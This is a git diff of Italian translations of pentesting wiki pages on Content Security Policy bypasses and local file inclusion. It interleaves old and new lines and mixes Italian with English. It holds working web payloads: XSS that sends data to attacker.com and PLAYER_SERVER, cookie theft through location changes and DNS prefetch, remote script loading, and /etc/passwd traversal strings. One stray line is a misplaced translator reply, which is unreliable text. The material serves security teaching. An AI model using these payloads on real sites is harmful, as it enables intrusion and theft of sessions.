`'unsafe-inline'` significa che puoi eseguire qualsiasi script all'interno del codice (XSS può eseguire codice) e `img-src *` significa che puoi usare nella pagina web qualsiasi immagine proveniente da qualsiasi risorsa.
|
||||
|
||||
Puoi bypassare questa CSP esfiltrando i dati tramite immagini (in questo caso l'XSS sfrutta una CSRF in cui una pagina accessibile dal bot contiene una SQLi, e estrae il flag tramite un'immagine):
|
||||
Puoi bypassare questa CSP esfiltrating the data via images (in questa occasione l'XSS sfrutta una CSRF dove una pagina accessibile dal bot contiene una SQLi, e estrae il flag tramite un'immagine):
|
||||
```javascript
|
||||
<script>
|
||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||
Image().src='http://PLAYER_SERVER/?'+_)
|
||||
</script>
|
||||
```
|
||||
Da: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Potresti anche abusare di questa configurazione per **caricare javascript inserito all'interno di un'immagine**. Se, per esempio, la pagina permette di caricare immagini da Twitter, potresti **creare** una **immagine speciale**, **caricarla** su Twitter e abusare del "**unsafe-inline**" per **eseguire** un codice JS (come un normale XSS) che **caricherà** l'**immagine**, **estrarrà** la **JS** da essa ed **eseguirà** **quest'ultima**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Puoi anche abusare di questa configurazione per **caricare codice javascript inserito all'interno di un'immagine**. Se, per esempio, la pagina permette di caricare immagini da Twitter, potresti **creare** un'**immagine speciale**, **caricarla** su Twitter e abusare di "**unsafe-inline**" per **eseguire** un codice **JS** (come un normale **XSS**) che **caricherà** l'**immagine**, **estrarrà** il **JS** da essa e lo **eseguirà**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Con Service Workers
|
||||
|
||||
Service workers **`importScripts`** function isn't limited by CSP:
|
||||
|
||||
La funzione `importScripts` dei Service Workers non è limitata dal CSP:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/abusing-service-workers.md
|
||||
@ -467,29 +464,29 @@ Service workers **`importScripts`** function isn't limited by CSP:
|
||||
|
||||
### Policy Injection
|
||||
|
||||
**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||
Ricerca: [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||
|
||||
#### Chrome
|
||||
|
||||
Se un **parametro** inviato da te viene **incollato all'interno** della **dichiarazione** della **policy**, allora potresti **alterare** la **policy** in qualche modo da renderla **inutile**. Potresti **permettere** lo script '**unsafe-inline**' con uno di questi bypass:
|
||||
Se un **parametro** inviato da te viene **incollato all'interno** della **dichiarazione** della **policy,** allora potresti **alterare** la **policy** in modo che la renda **inutile**. Potresti **consentire script 'unsafe-inline'** con uno qualsiasi di questi bypass:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
Perché questa direttiva **sovrascriverà le direttive script-src esistenti**.\
|
||||
You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
Puoi trovare un esempio qui: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
|
||||
In Edge è molto più semplice. Se riesci ad aggiungere nella CSP soltanto questo: **`;_`**, **Edge** annullerebbe l'intera **policy**.\
|
||||
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
In Edge è molto più semplice. Se puoi aggiungere nella CSP solo questo: **`;_`** **Edge** scarterebbe l'intera **policy**.\
|
||||
Esempio: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
|
||||
### img-src \*; via XSS (iframe) - attacco di timing
|
||||
### img-src \*; via XSS (iframe) - Time attack
|
||||
|
||||
Notice the lack of the directive `'unsafe-inline'`\
|
||||
Questa volta puoi far **caricare** alla vittima una pagina sotto **il tuo controllo** tramite **XSS** con un `<iframe`. Stavolta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo riesci a **controllare il tempo necessario al caricamento della pagina** puoi estrarre le informazioni di cui hai bisogno.
|
||||
Nota la mancanza della direttiva `'unsafe-inline'`\
|
||||
Questa volta puoi far sì che la vittima **carichi** una pagina sotto **il tuo controllo** via **XSS** con un `<iframe`. Questa volta farai in modo che la vittima acceda alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi **controllare il tempo necessario al caricamento della pagina** puoi estrarre le informazioni di cui hai bisogno.
|
||||
|
||||
Questa volta verrà estratta una **flag**: ogni volta che un **carattere viene indovinato correttamente** via SQLi la **risposta** impiega **più tempo** a causa della funzione sleep. Così riuscirai a estrarre la flag:
|
||||
Questa volta verrà estratto un **flag**: ogni volta che un **char è indovinato correttamente** tramite SQLi la **response** impiega **più tempo** a causa della funzione sleep. Così potrai estrarre il flag:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -549,24 +546,24 @@ console.log(prefix)
|
||||
run()
|
||||
</script>
|
||||
```
|
||||
### Via Bookmarklets
|
||||
### Tramite Bookmarklets
|
||||
|
||||
Questo attacco implica una certa social engineering in cui l'attaccante **convince l'utente a drag\&dropped un link sopra il bookmarklet del browser**. Questo bookmarklet conterrebbe codice **malicious javascript** che quando drag\&dropped o clicked verrebbe eseguito nel contesto della finestra web corrente, **bypassando CSP e permettendo di rubare informazioni sensibili** come cookies o tokens.
|
||||
Questo attacco implica una forma di social engineering in cui l'attaccante **convinces the user to drag and drop a link over the bookmarklet of the browser**. Questo bookmarklet conterrebbe **malicious javascript** code che quando drag\&dropped o cliccato verrebbe eseguito nel contesto della finestra web corrente, **bypassing CSP and allowing to steal sensitive information** come cookies o tokens.
|
||||
|
||||
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
Per maggiori informazioni [**consulta il report originale qui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP bypass by restricting CSP
|
||||
### CSP bypass restringendo la CSP
|
||||
|
||||
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), il CSP viene bypassato iniettando, all'interno di un iframe consentito, un CSP più restrittivo che impediva il caricamento di uno specifico file JS che, poi, tramite **prototype pollution** o **dom clobbering** permetteva di **abusare di un diverso script per caricare uno script arbitrario**.
|
||||
In [**questa CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), la CSP viene bypassata iniettando all'interno di un iframe consentito una CSP più restrittiva che impediva il caricamento di uno specifico file JS che, poi, tramite **prototype pollution** o **dom clobbering**, permetteva di **abusare di un altro script per caricare uno script arbitrario**.
|
||||
|
||||
Puoi **restringere il CSP di un Iframe** con l'attributo **`csp`**:
|
||||
Puoi **restringere la CSP di un Iframe** con l'attributo **`csp`**:
|
||||
```html
|
||||
<iframe
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** rendere più restrittiva una **CSP** in modo che uno script che preveniva il CSTI venisse disabilitato e quindi la **vulnerability became exploitable.**\
|
||||
La CSP può essere resa più restrittiva usando **HTML meta tags** e gli inline scripts possono essere disabilitati rimuovendo la **entry** che permette il loro **nonce** e abilitando specifici inline script tramite **sha**:
|
||||
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **rendere più restrittiva** una **CSP** così che uno script che preveniva la **CSTI** venisse disabilitato e quindi la **vulnerability became exploitable.**\
|
||||
La CSP può essere resa più restrittiva usando **HTML meta tags**, e gli **inline scripts** possono essere disabilitati **rimuovendo** la **voce** che permette il loro **nonce** e **abilitare specifici inline script via sha**:
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -575,55 +572,57 @@ content="script-src 'self'
|
||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
|
||||
```
|
||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||
### Esfiltrazione JS con Content-Security-Policy-Report-Only
|
||||
|
||||
Se riesci a far sì che il server risponda con l'header **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (magari a causa di un CRLF), puoi farlo puntare al tuo server e se avvolgi il **JS content** che vuoi exfiltrate con **`<script>`** e poiché è altamente probabile che `unsafe-inline` non sia permesso dalla CSP, questo farà **scattare un errore CSP** e parte dello script (contenente le informazioni sensibili) verrà inviata al server da `Content-Security-Policy-Report-Only`.
|
||||
Se riesci a far sì che il server risponda con l'header **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (magari a causa di un CRLF), puoi farlo puntare al tuo server e se **inserisci** il **contenuto JS** che vuoi esfiltrare dentro **`<script>`** e dato che è molto probabile che `unsafe-inline` non sia permesso dalla CSP, questo **innescherà un errore CSP** e parte dello script (contenente le informazioni sensibili) verrà inviata al server tramite `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Per un esempio [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
Per esempio [**vedi questo writeup CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||
```javascript
|
||||
document.querySelector("DIV").innerHTML =
|
||||
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
|
||||
```
|
||||
### Leaking Information with CSP and Iframe
|
||||
### Leaking informazioni con CSP e Iframe
|
||||
|
||||
- Viene creato un `iframe` che punta a un URL (chiamiamolo `https://example.redirect.com`) che è consentito da CSP.
|
||||
- Questo URL poi reindirizza a un URL segreto (es., `https://usersecret.example2.com`) che è **non consentito** da CSP.
|
||||
- Ascoltando l'evento `securitypolicyviolation`, è possibile catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, leaking il dominio segreto a cui l'URL iniziale è stato reindirizzato.
|
||||
- Un `iframe` viene creato che punta a un URL (chiamiamolo `https://example.redirect.com`) che è consentito da CSP.
|
||||
- Questo URL poi reindirizza a un URL segreto (es., `https://usersecret.example2.com`) che **non è consentito** da CSP.
|
||||
- Ascoltando l'evento `securitypolicyviolation`, è possibile catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio della URI bloccata, leaking il dominio segreto verso cui l'URL iniziale è stato reindirizzato.
|
||||
|
||||
È interessante notare che browser come Chrome e Firefox hanno comportamenti differenti nel gestire gli iframe rispetto a CSP, il che può portare a potenziale leakage di informazioni sensibili a causa di comportamenti non definiti.
|
||||
È interessante notare che browser come Chrome e Firefox hanno comportamenti diversi nel gestire gli iframe rispetto a CSP, portando a potenziali leak di informazioni sensibili a causa di comportamenti non definiti.
|
||||
|
||||
Un'altra tecnica consiste nello sfruttare la stessa CSP per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'adattamento della direttiva CSP per includere domini specifici che vengono deliberatamente bloccati. Per esempio, se il sottodominio segreto è composto da caratteri sconosciuti, è possibile testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o permettere questi sottodomini. Di seguito uno snippet che mostra come la CSP potrebbe essere configurata per facilitare questo metodo:
|
||||
Un'altra tecnica consiste nello sfruttare la CSP stessa per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento della CSP per includere domini specifici che vengono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, puoi testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Ecco uno snippet che mostra come la CSP potrebbe essere configurata per facilitare questo metodo:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
Monitorando quali richieste vengono bloccate o permesse dalla CSP, si possono restringere i possibili caratteri nel sottodominio segreto, scoprendo infine l'URL completo.
|
||||
Monitorando quali richieste vengono bloccate o consentite dalla CSP, si può restringere l'insieme dei caratteri possibili nel sottodominio segreto, arrivando infine a scoprire l'URL completo.
|
||||
|
||||
Entrambi i metodi sfruttano le sfumature dell'implementazione della CSP e del comportamento dei browser, dimostrando come politiche apparentemente sicure possano, involontariamente, causare un leak di informazioni sensibili.
|
||||
Entrambi i metodi sfruttano le sfumature dell'implementazione di CSP e del comportamento nei browser, dimostrando come politiche apparentemente sicure possano involontariamente leakare informazioni sensibili.
|
||||
|
||||
Trucco da [**here**](https://ctftime.org/writeup/29310).
|
||||
Trick da [**here**](https://ctftime.org/writeup/29310).
|
||||
|
||||
## Tecnologie insicure per bypassare la CSP
|
||||
|
||||
### Errori PHP quando troppi parametri
|
||||
### Errori PHP quando ci sono troppi parametri
|
||||
|
||||
Secondo la [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviando troppi parametri (1001 parametri GET anche se si può farlo anche con parametri POST e più di 20 file). Qualsiasi definito **`header()`** nel codice web PHP **non verrà inviato** a causa dell'errore che ciò genererà.
|
||||
Secondo la [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviando troppi parametri (1001 GET parameters anche se si può fare anche con POST params e più di 20 file). Qualsiasi **`header()`** definito nel codice PHP del web **non verrà inviato** a causa dell'errore che questo causerà.
|
||||
|
||||
### Sovraccarico del buffer di risposta PHP
|
||||
### Sovraccarico del buffer di risposta di PHP
|
||||
|
||||
PHP è noto per **memorizzare in buffer la risposta fino a 4096 byte** per impostazione predefinita. Quindi, se PHP mostra un warning, fornendo **sufficienti dati all'interno dei warning**, la **risposta** sarà **inviata** **prima** dell'**CSP header**, causando che l'header venga ignorato.\
|
||||
La tecnica consiste fondamentalmente nel **riempire il buffer di risposta con warning** in modo che l'header CSP non venga inviato.
|
||||
PHP è noto per **buffering the response to 4096** byte per default. Pertanto, se PHP mostra un warning, fornendo **enough data inside warnings**, la **response** sarà **sent** **before** the **CSP header**, causando l'ignoramento dell'header.\
|
||||
Quindi, la tecnica consiste fondamentalmente nel **riempire il buffer di risposta con warning** in modo che l'**CSP header** non venga inviato.
|
||||
|
||||
### Disabilitare la CSP via max_input_vars (headers already sent)
|
||||
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
Poiché gli header devono essere inviati prima di qualsiasi output, i warning emessi da PHP possono invalidare chiamate successive a `header()`. Se l'input utente supera `max_input_vars`, PHP lancia prima un warning di startup; qualsiasi successivo `header('Content-Security-Policy: ...')` fallirà con “headers already sent”, disabilitando di fatto la CSP e permettendo reflective XSS altrimenti bloccate.
|
||||
### Disabilitare la CSP tramite max_input_vars (headers already sent)
|
||||
|
||||
Poiché gli header devono essere inviati prima di qualsiasi output, i warning emessi da PHP possono invalidare chiamate successive a `header()`. Se l'input utente supera `max_input_vars`, PHP genera prima un warning di startup; qualsiasi successivo `header('Content-Security-Policy: ...')` fallirà con “headers already sent”, disabilitando di fatto la CSP e permettendo reflective XSS altrimenti bloccati.
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
echo $_GET['xss'];
|
||||
```
|
||||
Non hai fornito il contenuto da tradurre. Incolla qui il testo di src/pentesting-web/content-security-policy-csp-bypass/README.md e lo tradurrò in italiano mantenendo la stessa sintassi Markdown/HTML e le regole che hai specificato.
|
||||
Esempio:
|
||||
```bash
|
||||
# CSP in place → payload blocked by browser
|
||||
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
|
||||
@ -633,9 +632,9 @@ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
|
||||
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
|
||||
# Warning: Cannot modify header information - headers already sent
|
||||
```
|
||||
### Riscrittura della pagina di errore
|
||||
### Riscrivere la pagina di errore
|
||||
|
||||
Da [**this writeup**](https://blog.ssrf.kr/69) sembra che sia stato possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendone il contenuto.
|
||||
Da [**this writeup**](https://blog.ssrf.kr/69) sembra che fosse possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendone il contenuto.
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -644,40 +643,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME è una tecnica che sfrutta una XSS (o una XSS molto limitata) **in an endpoint of a page** per **abuse** **other endpoints of the same origin.** Questo si ottiene caricando l'endpoint vulnerabile da una pagina controllata dall'attaccante e poi ricaricando la pagina dell'attaccante verso l'endpoint reale nella stessa origine che si vuole sfruttare. In questo modo l'**vulnerable endpoint** può usare l'oggetto **`opener`** nel **payload** per **access the DOM** dell'**real endpoint to abuse**. Per maggiori informazioni consulta:
|
||||
SOME è una tecnica che sfrutta una XSS (o una XSS altamente limitata) **in an endpoint of a page** per **abuse** **other endpoints of the same origin.** Questo si ottiene caricando l'endpoint vulnerabile da una attacker page e poi ricaricando la attacker page verso il real endpoint nello stesso origin che si vuole abusare. In questo modo il **vulnerable endpoint** può usare l'oggetto **`opener`** nel **payload** per **access the DOM** del **real endpoint to abuse**. Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
{{#endref}}
|
||||
|
||||
Moreover, **wordpress** has a **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` that will **reflect** the **data** sent in the output (con la limitazione di solo lettere, numeri e punti).
|
||||
Inoltre, **wordpress** ha un endpoint **JSONP** in `/wp-json/wp/v2/users/1?_jsonp=data` che **reflect** i **data** inviati nell'output (con la limitazione di solo lettere, numeri e punti).
|
||||
|
||||
An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
|
||||
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
Un attacker può abuse quell'endpoint per **generate a SOME attack** contro WordPress e **embed** questo dentro `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` nota che questo **script** verrà **loaded** perché è **allowed by 'self'**. Inoltre, e poiché WordPress è installato, un attacker potrebbe abuse il **SOME attack** tramite il **vulnerable** **callback** endpoint che **bypasses the CSP** per dare più privilegi a un utente, installare un nuovo plugin...\
|
||||
Per maggiori informazioni su come eseguire questo attacco vedi [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## Bypass di esfiltrazione CSP
|
||||
## CSP Exfiltration Bypasses
|
||||
|
||||
Se c'è una CSP rigorosa che non ti permette di **interact with external servers**, ci sono alcune cose che puoi sempre fare per esfiltrare le informazioni.
|
||||
If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.
|
||||
|
||||
### Location
|
||||
|
||||
Potresti semplicemente aggiornare la location per inviare al server dell'attaccante le informazioni segrete:
|
||||
Potresti semplicemente aggiornare la location per inviare al server dell'attacker le informazioni segrete:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
document.location = "https://attacker.com/?" + sessionid
|
||||
```
|
||||
### Meta tag
|
||||
|
||||
Puoi effettuare un redirect iniettando un meta tag (questo è solo un redirect, questo non farà leak del contenuto)
|
||||
Puoi reindirizzare iniettando un meta tag (questo è solo un redirect, questo non farà leak di contenuto)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
||||
```
|
||||
### DNS Prefetch
|
||||
|
||||
Per caricare le pagine più velocemente, i browser risolveranno preventivamente gli hostname in indirizzi IP e li memorizzeranno nella cache per uso successivo.\
|
||||
Puoi indicare a un browser di risolvere preventivamente un hostname con: `<link rel="dns-prefetch" href="something.com">`
|
||||
Per caricare le pagine più velocemente, i browser risolvono in anticipo i nomi host in indirizzi IP e li memorizzano nella cache per un uso successivo.\
|
||||
Puoi indicare a un browser di risolvere in anticipo un hostname con: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
Potresti abusare di questo comportamento per **exfiltrate sensitive information via DNS requests**:
|
||||
Puoi abusare di questo comportamento per **esfiltrare informazioni sensibili tramite richieste DNS**:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
var body = document.getElementsByTagName("body")[0]
|
||||
@ -694,16 +693,16 @@ linkEl.rel = "prefetch"
|
||||
linkEl.href = urlWithYourPreciousData
|
||||
document.head.appendChild(linkEl)
|
||||
```
|
||||
Per evitare che ciò accada, il server può inviare l'HTTP header:
|
||||
Per evitare che ciò accada il server può inviare l'HTTP header:
|
||||
```
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
> [!TIP]
|
||||
> Apparentemente, questa tecnica non funziona nei headless browsers (bots)
|
||||
> A quanto pare, questa tecnica non funziona in headless browsers (bots)
|
||||
|
||||
### WebRTC
|
||||
|
||||
Su diverse pagine puoi leggere che **WebRTC non verifica la `connect-src` policy** della CSP.
|
||||
Su diverse pagine puoi leggere che **WebRTC non verifica la policy `connect-src`** della CSP.
|
||||
|
||||
In realtà puoi _leak_ informazioni usando una _DNS request_. Guarda questo codice:
|
||||
```javascript
|
||||
@ -727,7 +726,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
Il popup delle credenziali invia una richiesta DNS a iconURL senza essere soggetto alle restrizioni della pagina. Funziona solo in un contesto sicuro (HTTPS) o su localhost.
|
||||
Il popup delle credenziali invia una richiesta DNS a iconURL senza essere vincolato dalla pagina. Funziona solo in un contesto sicuro (HTTPS) o su localhost.
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
@ -738,12 +737,12 @@ iconURL:"https:"+your_data+"example.com"
|
||||
})
|
||||
)
|
||||
```
|
||||
## Verifica delle policy CSP online
|
||||
## Verifica online delle policy CSP
|
||||
|
||||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||||
|
||||
## Creazione automatica di CSP
|
||||
## Creazione automatica delle policy CSP
|
||||
|
||||
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
|
||||
|
||||
|
||||
@ -4,10 +4,10 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** Il file viene caricato da un server remoto (Meglio: puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** per impostazione predefinita (**allow_url_include**).\
|
||||
**Remote File Inclusion (RFI):** Il file viene caricato da un server remoto (Meglio: puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** di default (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Il server carica un file locale.
|
||||
|
||||
La vulnerabilità si verifica quando l'utente può controllare in qualche modo il file che verrà caricato dal server.
|
||||
La vulnerabilità si verifica quando l'utente può in qualche modo controllare il file che verrà caricato dal server.
|
||||
|
||||
Funzioni **PHP** vulnerabili: require, require_once, include, include_once
|
||||
|
||||
@ -19,17 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**Combinando diverse liste \*nix LFI e aggiungendo altri percorsi ho creato questa:**
|
||||
**Mescolando diverse liste LFI \*nix e aggiungendo altri percorsi ho creato questa:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Prova anche a sostituire `/` con `\`\
|
||||
Prova anche a cambiare `/` con `\`\
|
||||
Prova anche ad aggiungere `../../../../../`
|
||||
|
||||
Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
@ -40,22 +40,22 @@ Unione di diverse wordlists:
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Prova anche a sostituire `/` con `\`\
|
||||
Prova anche a cambiare `/` con `\`\
|
||||
Prova anche a rimuovere `C:/` e aggiungere `../../../../../`
|
||||
|
||||
Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
Controlla la lista LFI di linux.
|
||||
Controlla la lista LFI di Linux.
|
||||
|
||||
## LFI di base e bypasses
|
||||
## LFI di base e bypass
|
||||
|
||||
Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### sequenze di traversal rimosse non ricorsivamente
|
||||
### traversal sequences rimosse non ricorsivamente
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -67,55 +67,55 @@ Bypass l'aggiunta di altri caratteri alla fine della stringa fornita (bypass di:
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
Questo è **risolto da PHP 5.4**
|
||||
Questo è **risolto a partire da PHP 5.4**
|
||||
|
||||
### **Codifica**
|
||||
### **Encoding**
|
||||
|
||||
Puoi usare codifiche non standard come double URL encode (e altri):
|
||||
Puoi usare encodings non standard come double URL encode (e altri):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
